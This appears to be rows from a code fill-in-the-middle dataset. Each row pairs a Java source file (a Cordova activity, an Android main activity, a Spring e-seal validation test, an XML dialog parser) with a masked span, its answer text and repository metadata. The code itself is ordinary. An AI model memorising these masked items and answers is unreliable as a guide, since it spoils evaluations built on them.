return new CordovaInterfaceImpl(this) {
@Override
public Object onMessage(String id, Object data) {
// Plumb this to CordovaActivity.onMessage for backwards compatibility
return CordovaActivity.this.onMessage(id, data);
}
};
}
/**
* Load the url into the webview.
*/
public void loadUrl(String url) {
if (appView == null) {
init();
}
// If keepRunning
this.keepRunning = preferences.getBoolean("KeepRunning", true);
appView.loadUrlIntoView(url, true);
}
/**
* Called when the system is about to start resuming a previous activity.
*/
@Override
protected void onPause() {
super.onPause();
LOG.d(TAG, "Paused the activity.");
if (this.appView != null) {
// CB-9382 If there is an activity that started for result and main activity is waiting for callback
// result, we shoudn't stop WebView Javascript timers, as activity for result might be using them
boolean keepRunning = this.keepRunning || this.cordovaInterface.activityResultCallback != null;
this.appView.handlePause(keepRunning);
}
}
/**
* Called when the activity receives a new intent
*/
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
//Forward to plugins
if (this.appView != null)
this.appView.onNewIntent(intent);
}
/**
* Called when the activity will start interacting with the user.
*/
@Override
protected void onResume() {
super.onResume();
LOG.d(TAG, "Resumed the activity.");
if (this.appView == null) {
return;
}
// Force window to have focus, so application always
// receive user input. Workaround for some devices (Samsung Galaxy Note 3 at least)
this.getWindow().getDecorView().requestFocus();
this.appView.handleResume(this.keepRunning);
}
/**
* Called when the activity is no longer visible to the user.
*/
@Override
protected void onStop() {
super.onStop();
LOG.d(TAG, "Stopped the activity.");
if (this.appView == null) {
return;
}
this.appView.handleStop();
}
/**
* Called when the activity is becoming visible to the user.
*/
@Override
protected void onStart() {
super.onStart();
LOG.d(TAG, "Started the activity.");
if (this.appView == null) {
return;
}
this.appView.handleStart();
}
/**
* The final call you receive before your activity is destroyed.
*/
@Override
public void onDestroy() {
LOG.d(TAG, "CordovaActivity.onDestroy()");
super.onDestroy();
if (this.appView != null) {
appView.handleDestroy();
}
}
/**
* Called when view focus is changed
*/
@SuppressLint("InlinedApi")
@Override
public void onWindowFocusChanged(boolean hasFocus) {
super.onWindowFocusChanged(hasFocus);
if (hasFocus && immersiveMode) {
final int uiOptions = View.SYSTEM_UI_FLAG_LAYOUT_STABLE
| View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
| View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
| View.SYSTEM_UI_FLAG_HIDE_NAVIGATION
| View.SYSTEM_UI_FLAG_FULLSCREEN
| View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY;
getWindow().getDecorView().setSystemUiVisibility(uiOptions);
}
}
@SuppressLint("NewApi")
@Override
public void startActivityForResult(Intent intent, int requestCode, Bundle options) {
// Capture requestCode here so that it is captured in the setActivityResultCallback() case.
cordovaInterface.setActivityResultRequestCode(requestCode);
super.startActivityForResult(intent, requestCode, options);
}
/**
* Called when an activity you launched exits, giving you the requestCode you started it with,
* the resultCode it returned, and any additional data from it.
*
* @param requestCode The request code originally supplied to startActivityForResult(),
* allowing you to identify who this result came from.
* @param resultCode The integer result code returned by the child activity through its setResult().
* @param intent An Intent, which can return result data to the caller (various data can be attached to Intent "extras").
*/
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent intent) {
LOG.d(TAG, "Incoming Result. Request code = " + requestCode);
super.onActivityResult(requestCode, resultCode, intent);
cordovaInterface.onActivityResult(requestCode, resultCode, intent);
}
/**
* Report an error to the host application. These errors are unrecoverable (i.e. the main resource is unavailable).
* The errorCode parameter corresponds to one of the ERROR_* constants.
*
* @param errorCode The error code corresponding to an ERROR_* value.
* @param description A String describing the error.
* @param failingUrl The url that failed to load.
*/
public void onReceivedError(final int errorCode, final String description, final String failingUrl) {
final CordovaActivity me = this;
// If errorUrl specified, then load it
final String errorUrl = preferences.getString("errorUrl", null);
if ((errorUrl != null) && (!failingUrl.equals(errorUrl)) && (appView != null)) {
// Load URL on UI thread
me.runOnUiThread(new Runnable() {
public void run() {
me.appView.showWebPage(errorUrl, false, true, null);
}
});
}
// If not, then display error dialog
else {
final boolean exit = !(errorCode == WebViewClient.ERROR_HOST_LOOKUP);
me.runOnUiThread(new Runnable() {
public void run() {
if (exit) {
me.appView.getView().setVisibility(View.GONE);
me.displayError("Application Error", description + " (" + failingUrl + ")", "OK", exit);
}
}
});
}
}
/**
* Display an error dialog and optionally exit application.
*/
public void displayError(final String title, final String message, final String button, final boolean exit) {
final CordovaActivity me = this;
me.runOnUiThread(new Runnable() {
public void run() {
try {
AlertDialog.Builder dlg = new AlertDialog.Builder(me);
dlg.setMessage(message);
dlg.setTitle(title);
dlg.setCancelable(false);
dlg.setPositiveButton(button,
new AlertDialog.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
dialog.dismiss();
if (exit) {
finish();
}
}
});
dlg.create();
dlg.show();
} catch (Exception e) {
finish();
}
}
});
}
/*
* Hook in Cordova<SUF>*/
@Override
public boolean onCreateOptionsMenu(Menu menu) {
if (appView != null) {
appView.getPluginManager().postMessage("onCreateOptionsMenu", menu);
}
return super.onCreateOptionsMenu(menu);
}
@Override
public boolean onPrepareOptionsMenu(Menu menu) {
if (appView != null) {
appView.getPluginManager().postMessage("onPrepareOptionsMenu", menu);
}
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
if (appView != null) {
appView.getPluginManager().postMessage("onOptionsItemSelected", item);
}
return true;
}
/**
* Called when a message is sent to plugin.
*
* @param id The message id
* @param data The message data
* @return Object or null
*/
public Object onMessage(String id, Object data) {
if ("onReceivedError".equals(id)) {
JSONObject d = (JSONObject) data;
try {
this.onReceivedError(d.getInt("errorCode"), d.getString("description"), d.getString("url"));
} catch (JSONException e) {
e.printStackTrace();
}
} else if ("exit".equals(id)) {
finish();
}
return null;
}
protected void onSaveInstanceState(Bundle outState) {
cordovaInterface.onSaveInstanceState(outState);
super.onSaveInstanceState(outState);
}
/**
* Called by the system when the device configuration changes while your activity is running.
*
* @param newConfig The new device configuration
*/
@Override
public void onConfigurationChanged(Configuration newConfig) {
super.onConfigurationChanged(newConfig);
if (this.appView == null) {
return;
}
PluginManager pm = this.appView.getPluginManager();
if (pm != null) {
pm.onConfigurationChanged(newConfig);
}
}
/**
* Called by the system when the user grants permissions
*
* @param requestCode
* @param permissions
* @param grantResults
*/
@Override
public void onRequestPermissionsResult(int requestCode, String permissions[],
int[] grantResults) {
try
{
cordovaInterface.onRequestPermissionResult(requestCode, permissions, grantResults);
}
catch (JSONException e)
{
LOG.d(TAG, "JSONException: Parameters fed into the method are not valid");
e.printStackTrace();
}
}
}
|
43930_0 | package be.ap.teamrap.teamrap;
import android.os.Bundle;
import android.support.design.widget.FloatingActionButton;
import android.support.design.widget.Snackbar;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.view.View;
import android.view.Menu;
import android.view.MenuItem;
import com.crashlytics.android.Crashlytics;
import io.fabric.sdk.android.Fabric;
public class MainActivity extends AppCompatActivity {
//Dit is een zeer mooie comment
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Fabric.with(this, new Crashlytics());
setContentView(R.layout.activity_main);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
FloatingActionButton fab = (FloatingActionButton) findViewById(R.id.fab);
fab.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Snackbar.make(view, "Replace with your own action", Snackbar.LENGTH_LONG)
.setAction("Action", null).show();
}
});
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}
| AP-IT-GH/sprint-ci-cd-in-team-pm_teamrap | app/src/main/java/be/ap/teamrap/teamrap/MainActivity.java | 556 | //Dit is een zeer mooie comment | line_comment | nl | package be.ap.teamrap.teamrap;
import android.os.Bundle;
import android.support.design.widget.FloatingActionButton;
import android.support.design.widget.Snackbar;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.view.View;
import android.view.Menu;
import android.view.MenuItem;
import com.crashlytics.android.Crashlytics;
import io.fabric.sdk.android.Fabric;
public class MainActivity extends AppCompatActivity {
//Dit is<SUF>
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Fabric.with(this, new Crashlytics());
setContentView(R.layout.activity_main);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
FloatingActionButton fab = (FloatingActionButton) findViewById(R.id.fab);
fab.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Snackbar.make(view, "Replace with your own action", Snackbar.LENGTH_LONG)
.setAction("Action", null).show();
}
});
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
}
|
55101_7 | package gr.grnet.eseal;
import static org.assertj.core.api.Assertions.assertThat;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import com.fasterxml.jackson.databind.ObjectMapper;
import eu.europa.esig.dss.service.http.commons.CommonsDataLoader;
import gr.grnet.eseal.dto.SignedDocument;
import gr.grnet.eseal.dto.ValidateDocumentRequestDto;
import gr.grnet.eseal.exception.APIError;
import gr.grnet.eseal.service.ValidateDocumentService;
import gr.grnet.eseal.validation.DocumentValidatorLOTL;
import java.util.ArrayList;
import java.util.List;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.mock.web.MockHttpServletResponse;
import org.springframework.test.web.servlet.MockMvc;
@SpringBootTest
@AutoConfigureMockMvc
class DocumentValidationTests {
@Autowired private MockMvc mockMvc;
private final String validationPath = "/api/v1/validation/validateDocument";
private ObjectMapper objectMapper = new ObjectMapper();
@Autowired ValidateDocumentService validateDocumentService;
@Autowired DocumentValidatorLOTL documentValidatorLOTL;
// @Test
// void ValidateDocumentSuccess() throws Exception {
//
// InputStream isSignedPDF =
// DocumentValidationTests.class.getResourceAsStream(
// "/validation/".concat("signed-lta-b64-pdf.txt"));
//
// String signedLTAPDF =
// new BufferedReader(new InputStreamReader(isSignedPDF, StandardCharsets.UTF_8))
// .lines()
// .collect(Collectors.joining("\n"));
//
// // Valid request body but with empty bytes field
// ValidateDocumentRequestDto validateDocumentRequestDto = new ValidateDocumentRequestDto();
// SignedDocument signedDocument = new SignedDocument();
// signedDocument.setBytes(signedLTAPDF);
// signedDocument.setName("random-name");
// validateDocumentRequestDto.setSignedDocument(signedDocument);
//
// MockHttpServletResponse resp =
// this.mockMvc
// .perform(
// post(this.validationPath)
// .content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
// .header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
// .accept(MediaType.APPLICATION_JSON))
// .andReturn()
// .getResponse();
//
// assertThat(resp.getStatus()).isEqualTo(HttpStatus.OK.value());
//
// WSReportsDTO wsReportsDTO =
// this.validateDocumentService.validateDocument(
// validateDocumentRequestDto.getSignedDocument().getBytes(),
// validateDocumentRequestDto.getSignedDocument().getName());
//
// assertThat(wsReportsDTO.getSimpleReport().getSignatureOrTimestamp().size()).isEqualTo(1);
// assertThat(wsReportsDTO.getSimpleReport().getSignatureOrTimestamp().get(0).getIndication())
// .isEqualTo(Indication.INDETERMINATE);
//
// assertThat(wsReportsDTO.getSimpleReport().getSignatureOrTimestamp().get(0).getSubIndication())
// .isEqualTo(SubIndication.NO_CERTIFICATE_CHAIN_FOUND);
// assertThat(wsReportsDTO.getSimpleReport().getSignatureOrTimestamp().get(0).getErrors())
// .isEqualTo(
// Arrays.asList(
// "Unable to build a certificate chain until a trusted list!",
// "The result of the LTV validation process is not acceptable to continue the
// process!",
// "The certificate chain for signature is not trusted, it does not contain a trust
// anchor."));
// assertThat(wsReportsDTO.getSimpleReport().getSignatureOrTimestamp().get(0).getWarnings())
// .isEqualTo(Arrays.asList("The signature/seal is an INDETERMINATE AdES digital
// signature!"));
// }
@Test
void ValidateDocumentEmptyOrMissingBytes() throws Exception {
// Valid request body but with empty bytes field
ValidateDocumentRequestDto validateDocumentRequestDto = new ValidateDocumentRequestDto();
SignedDocument signedDocument = new SignedDocument();
signedDocument.setBytes("");
signedDocument.setName("random-name");
validateDocumentRequestDto.setSignedDocument(signedDocument);
List<MockHttpServletResponse> errorResponses = new ArrayList<>();
MockHttpServletResponse responseEmptyField =
this.mockMvc
.perform(
post(this.validationPath)
.content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
.header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON))
.andReturn()
.getResponse();
errorResponses.add(responseEmptyField);
// case where the bytes field is not present
signedDocument.setBytes(null);
MockHttpServletResponse responseMissingField =
this.mockMvc
.perform(
post(this.validationPath)
.content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
.header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON))
.andReturn()
.getResponse();
errorResponses.add(responseMissingField);
for (MockHttpServletResponse response : errorResponses) {
APIError apiError =
this.objectMapper.readValue(response.getContentAsString(), APIError.class);
assertThat(response.getStatus()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody()).isNotNull();
assertThat(apiError.getApiErrorBody().getMessage())
.isEqualTo("Field signedDocument.bytes cannot be empty");
assertThat(apiError.getApiErrorBody().getCode()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody().getStatus()).isEqualTo(HttpStatus.BAD_REQUEST);
}
}
@Test
void ValidateDocumentEmptyOrMissingName() throws Exception {
// Valid request body but with empty bytes field
ValidateDocumentRequestDto validateDocumentRequestDto = new ValidateDocumentRequestDto();
SignedDocument signedDocument = new SignedDocument();
signedDocument.setBytes("b");
signedDocument.setName("");
validateDocumentRequestDto.setSignedDocument(signedDocument);
List<MockHttpServletResponse> errorResponses = new ArrayList<>();
MockHttpServletResponse responseEmptyField =
this.mockMvc
.perform(
post(this.validationPath)
.content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
.header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON))
.andReturn()
.getResponse();
errorResponses.add(responseEmptyField);
// case where the bytes field is not present
signedDocument.setName(null);
MockHttpServletResponse responseMissingField =
this.mockMvc
.perform(
post(this.validationPath)
.content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
.header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON))
.andReturn()
.getResponse();
errorResponses.add(responseMissingField);
for (MockHttpServletResponse response : errorResponses) {
APIError apiError =
this.objectMapper.readValue(response.getContentAsString(), APIError.class);
assertThat(response.getStatus()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody()).isNotNull();
assertThat(apiError.getApiErrorBody().getMessage())
.isEqualTo("Field signedDocument.name cannot be empty");
assertThat(apiError.getApiErrorBody().getCode()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody().getStatus()).isEqualTo(HttpStatus.BAD_REQUEST);
}
}
@Test
void ValidateDocumentInvalidBASE64Bytes() throws Exception {
// Valid request body but with empty bytes field
ValidateDocumentRequestDto validateDocumentRequestDto = new ValidateDocumentRequestDto();
SignedDocument signedDocument = new SignedDocument();
signedDocument.setBytes("b");
signedDocument.setName("random-name");
validateDocumentRequestDto.setSignedDocument(signedDocument);
MockHttpServletResponse resp =
this.mockMvc
.perform(
post(this.validationPath)
.content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
.header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON))
.andReturn()
.getResponse();
APIError apiError = this.objectMapper.readValue(resp.getContentAsString(), APIError.class);
assertThat(resp.getStatus()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody()).isNotNull();
assertThat(apiError.getApiErrorBody().getMessage())
.isEqualTo("Field toSignDocument.bytes should be encoded in base64 format");
assertThat(apiError.getApiErrorBody().getCode()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody().getStatus()).isEqualTo(HttpStatus.BAD_REQUEST);
}
@Test
void LOTLOnlineDataLoaderAccessSuccess() throws Exception {
// Make sure the data loader can at least access all the following urls
this.documentValidatorLOTL
.onlineLOTLDataLoader()
.get("https://ec.europa.eu/tools/lotl/eu-lotl.xml");
CommonsDataLoader r = this.documentValidatorLOTL.onlineLOTLDataLoader();
r.setSslProtocol("TLSv1.3");
r.get("https://ssi.gouv.fr/uploads/tl-fr.xml");
//
// NOT ACCESSIBLE ANYMORE
// this.documentValidatorLOTL
// .onlineLOTLDataLoader()
// .get("https://sede.minetur.gob.es/Prestadores/TSL/TSL.xml");
this.documentValidatorLOTL
.onlineLOTLDataLoader()
.get(
"https://www.agentschaptelecom.nl/binaries/agentschap-telecom/documenten/publicaties/2018/januari/01/digitale-statuslijst-van-vertrouwensdiensten/current-tsl.xml");
}
}
| ARGOeu/gr.grnet.eseal | eseal/src/test/java/gr/grnet/eseal/DocumentValidationTests.java | 3,073 | // MockHttpServletResponse resp = | line_comment | nl | package gr.grnet.eseal;
import static org.assertj.core.api.Assertions.assertThat;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import com.fasterxml.jackson.databind.ObjectMapper;
import eu.europa.esig.dss.service.http.commons.CommonsDataLoader;
import gr.grnet.eseal.dto.SignedDocument;
import gr.grnet.eseal.dto.ValidateDocumentRequestDto;
import gr.grnet.eseal.exception.APIError;
import gr.grnet.eseal.service.ValidateDocumentService;
import gr.grnet.eseal.validation.DocumentValidatorLOTL;
import java.util.ArrayList;
import java.util.List;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.mock.web.MockHttpServletResponse;
import org.springframework.test.web.servlet.MockMvc;
@SpringBootTest
@AutoConfigureMockMvc
class DocumentValidationTests {
@Autowired private MockMvc mockMvc;
private final String validationPath = "/api/v1/validation/validateDocument";
private ObjectMapper objectMapper = new ObjectMapper();
@Autowired ValidateDocumentService validateDocumentService;
@Autowired DocumentValidatorLOTL documentValidatorLOTL;
// @Test
// void ValidateDocumentSuccess() throws Exception {
//
// InputStream isSignedPDF =
// DocumentValidationTests.class.getResourceAsStream(
// "/validation/".concat("signed-lta-b64-pdf.txt"));
//
// String signedLTAPDF =
// new BufferedReader(new InputStreamReader(isSignedPDF, StandardCharsets.UTF_8))
// .lines()
// .collect(Collectors.joining("\n"));
//
// // Valid request body but with empty bytes field
// ValidateDocumentRequestDto validateDocumentRequestDto = new ValidateDocumentRequestDto();
// SignedDocument signedDocument = new SignedDocument();
// signedDocument.setBytes(signedLTAPDF);
// signedDocument.setName("random-name");
// validateDocumentRequestDto.setSignedDocument(signedDocument);
//
// MockHttpServletResponse resp<SUF>
// this.mockMvc
// .perform(
// post(this.validationPath)
// .content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
// .header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
// .accept(MediaType.APPLICATION_JSON))
// .andReturn()
// .getResponse();
//
// assertThat(resp.getStatus()).isEqualTo(HttpStatus.OK.value());
//
// WSReportsDTO wsReportsDTO =
// this.validateDocumentService.validateDocument(
// validateDocumentRequestDto.getSignedDocument().getBytes(),
// validateDocumentRequestDto.getSignedDocument().getName());
//
// assertThat(wsReportsDTO.getSimpleReport().getSignatureOrTimestamp().size()).isEqualTo(1);
// assertThat(wsReportsDTO.getSimpleReport().getSignatureOrTimestamp().get(0).getIndication())
// .isEqualTo(Indication.INDETERMINATE);
//
// assertThat(wsReportsDTO.getSimpleReport().getSignatureOrTimestamp().get(0).getSubIndication())
// .isEqualTo(SubIndication.NO_CERTIFICATE_CHAIN_FOUND);
// assertThat(wsReportsDTO.getSimpleReport().getSignatureOrTimestamp().get(0).getErrors())
// .isEqualTo(
// Arrays.asList(
// "Unable to build a certificate chain until a trusted list!",
// "The result of the LTV validation process is not acceptable to continue the
// process!",
// "The certificate chain for signature is not trusted, it does not contain a trust
// anchor."));
// assertThat(wsReportsDTO.getSimpleReport().getSignatureOrTimestamp().get(0).getWarnings())
// .isEqualTo(Arrays.asList("The signature/seal is an INDETERMINATE AdES digital
// signature!"));
// }
@Test
void ValidateDocumentEmptyOrMissingBytes() throws Exception {
// Valid request body but with empty bytes field
ValidateDocumentRequestDto validateDocumentRequestDto = new ValidateDocumentRequestDto();
SignedDocument signedDocument = new SignedDocument();
signedDocument.setBytes("");
signedDocument.setName("random-name");
validateDocumentRequestDto.setSignedDocument(signedDocument);
List<MockHttpServletResponse> errorResponses = new ArrayList<>();
MockHttpServletResponse responseEmptyField =
this.mockMvc
.perform(
post(this.validationPath)
.content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
.header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON))
.andReturn()
.getResponse();
errorResponses.add(responseEmptyField);
// case where the bytes field is not present
signedDocument.setBytes(null);
MockHttpServletResponse responseMissingField =
this.mockMvc
.perform(
post(this.validationPath)
.content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
.header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON))
.andReturn()
.getResponse();
errorResponses.add(responseMissingField);
for (MockHttpServletResponse response : errorResponses) {
APIError apiError =
this.objectMapper.readValue(response.getContentAsString(), APIError.class);
assertThat(response.getStatus()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody()).isNotNull();
assertThat(apiError.getApiErrorBody().getMessage())
.isEqualTo("Field signedDocument.bytes cannot be empty");
assertThat(apiError.getApiErrorBody().getCode()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody().getStatus()).isEqualTo(HttpStatus.BAD_REQUEST);
}
}
@Test
void ValidateDocumentEmptyOrMissingName() throws Exception {
// Valid request body but with empty bytes field
ValidateDocumentRequestDto validateDocumentRequestDto = new ValidateDocumentRequestDto();
SignedDocument signedDocument = new SignedDocument();
signedDocument.setBytes("b");
signedDocument.setName("");
validateDocumentRequestDto.setSignedDocument(signedDocument);
List<MockHttpServletResponse> errorResponses = new ArrayList<>();
MockHttpServletResponse responseEmptyField =
this.mockMvc
.perform(
post(this.validationPath)
.content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
.header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON))
.andReturn()
.getResponse();
errorResponses.add(responseEmptyField);
// case where the bytes field is not present
signedDocument.setName(null);
MockHttpServletResponse responseMissingField =
this.mockMvc
.perform(
post(this.validationPath)
.content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
.header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON))
.andReturn()
.getResponse();
errorResponses.add(responseMissingField);
for (MockHttpServletResponse response : errorResponses) {
APIError apiError =
this.objectMapper.readValue(response.getContentAsString(), APIError.class);
assertThat(response.getStatus()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody()).isNotNull();
assertThat(apiError.getApiErrorBody().getMessage())
.isEqualTo("Field signedDocument.name cannot be empty");
assertThat(apiError.getApiErrorBody().getCode()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody().getStatus()).isEqualTo(HttpStatus.BAD_REQUEST);
}
}
@Test
void ValidateDocumentInvalidBASE64Bytes() throws Exception {
// Valid request body but with empty bytes field
ValidateDocumentRequestDto validateDocumentRequestDto = new ValidateDocumentRequestDto();
SignedDocument signedDocument = new SignedDocument();
signedDocument.setBytes("b");
signedDocument.setName("random-name");
validateDocumentRequestDto.setSignedDocument(signedDocument);
MockHttpServletResponse resp =
this.mockMvc
.perform(
post(this.validationPath)
.content(this.objectMapper.writeValueAsBytes(validateDocumentRequestDto))
.header(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON)
.accept(MediaType.APPLICATION_JSON))
.andReturn()
.getResponse();
APIError apiError = this.objectMapper.readValue(resp.getContentAsString(), APIError.class);
assertThat(resp.getStatus()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody()).isNotNull();
assertThat(apiError.getApiErrorBody().getMessage())
.isEqualTo("Field toSignDocument.bytes should be encoded in base64 format");
assertThat(apiError.getApiErrorBody().getCode()).isEqualTo(HttpStatus.BAD_REQUEST.value());
assertThat(apiError.getApiErrorBody().getStatus()).isEqualTo(HttpStatus.BAD_REQUEST);
}
@Test
void LOTLOnlineDataLoaderAccessSuccess() throws Exception {
// Make sure the data loader can at least access all the following urls
this.documentValidatorLOTL
.onlineLOTLDataLoader()
.get("https://ec.europa.eu/tools/lotl/eu-lotl.xml");
CommonsDataLoader r = this.documentValidatorLOTL.onlineLOTLDataLoader();
r.setSslProtocol("TLSv1.3");
r.get("https://ssi.gouv.fr/uploads/tl-fr.xml");
//
// NOT ACCESSIBLE ANYMORE
// this.documentValidatorLOTL
// .onlineLOTLDataLoader()
// .get("https://sede.minetur.gob.es/Prestadores/TSL/TSL.xml");
this.documentValidatorLOTL
.onlineLOTLDataLoader()
.get(
"https://www.agentschaptelecom.nl/binaries/agentschap-telecom/documenten/publicaties/2018/januari/01/digitale-statuslijst-van-vertrouwensdiensten/current-tsl.xml");
}
}
|
24946_18 | package qamatcher;
import java.io.IOException;
import java.io.File;
import java.net.URISyntaxException;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
/**
* DomDialogParser is created with an xml file that contains the specification
* of questions and answer pairs.
* The file is stored in the resources/qamatcher direcotory
* which should be on the class path
* The DialogStore can be obtained by the method getDialogStore()
*/
public class DomDialogsParser{
DialogStore myDialogs;
Document dom;
String xmlFileName;
/**
* create a new and load a DialogStore
* @param fn the xml file name
*/
public DomDialogsParser(String fn){
//create a store to hold the Dialog objects
xmlFileName = fn;
myDialogs = new DialogStore();
loadStore();
}
public DomDialogsParser(String fn, String df){
//create a store to hold the Dialog objects
xmlFileName = fn;
myDialogs = new DialogStore(df);
loadStore();
}
/**
* @return the DialogStore
*/
public DialogStore getDialogStore(){
return myDialogs;
}
public void loadStore() {
//parse the xml file and get the dom object
parseXmlFile(xmlFileName);
//get each dialog element and create a Dialog object
// and add this to the DialogStore
parseDocument();
}
private void parseXmlFile(String fileName){
//get the factory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
//Using factory get an instance of document builder
DocumentBuilder db = dbf.newDocumentBuilder();
//parse using builder to get DOM representation of the XML file
dom = db.parse(getXMLFile(fileName));
}catch(ParserConfigurationException pce) {
pce.printStackTrace();
}catch(SAXException se) {
se.printStackTrace();
}catch(IOException ioe) {
ioe.printStackTrace();
}
}
public File getXMLFile(String filename){
// File f =null;
// try{
// java.net.URL fileURL = DomDialogsParser.class.getResource(filename);
// System.out.println("fileURL="+fileURL);
// if (fileURL != null) {
// java.net.URI fileURI = fileURL.toURI();
// f = new File(fileURI);
// } else {
// System.err.println("Couldn't find file: " + filename);
// }
// }catch(URISyntaxException exc){
// System.out.println(exc.getMessage());
// }
// return f;
File f = null;
if(filename != null) {
f = new File(filename);
} else {
System.err.println("Couldn't find file: " + filename);
}
return f;
}
private void parseDocument(){
//get the root elememt
Element docEle = dom.getDocumentElement();
//get a nodelist of <dialog> elements
NodeList nl = docEle.getElementsByTagName("dialog");
if(nl != null && nl.getLength() > 0) {
for(int i = 0 ; i < nl.getLength();i++) {
//get the dialog element
Element el = (Element)nl.item(i);
//get the Dialog object
Dialog d = getDialog(el);
//add it to list
myDialogs.add(d);
}
}
}
/**
* take an dialog element and read the values in, create
* a Dialog object and return it
* @param el
* @return
*/
private Dialog getDialog(Element el) {
//for each <dialog> element get text or int values of id
String id = el.getAttribute("id");
//Create a new Dialog with the values read from the xml nodes
Dialog d = new Dialog(id);
Element answerlistelement=null;
NodeList nl = el.getElementsByTagName("answerlist");
if(nl != null && nl.getLength() > 0) {
answerlistelement = (Element)nl.item(0);
getAnswerList(answerlistelement,d);
}
Element questionlistelement = null;
NodeList nl2 = el.getElementsByTagName("questionlist");
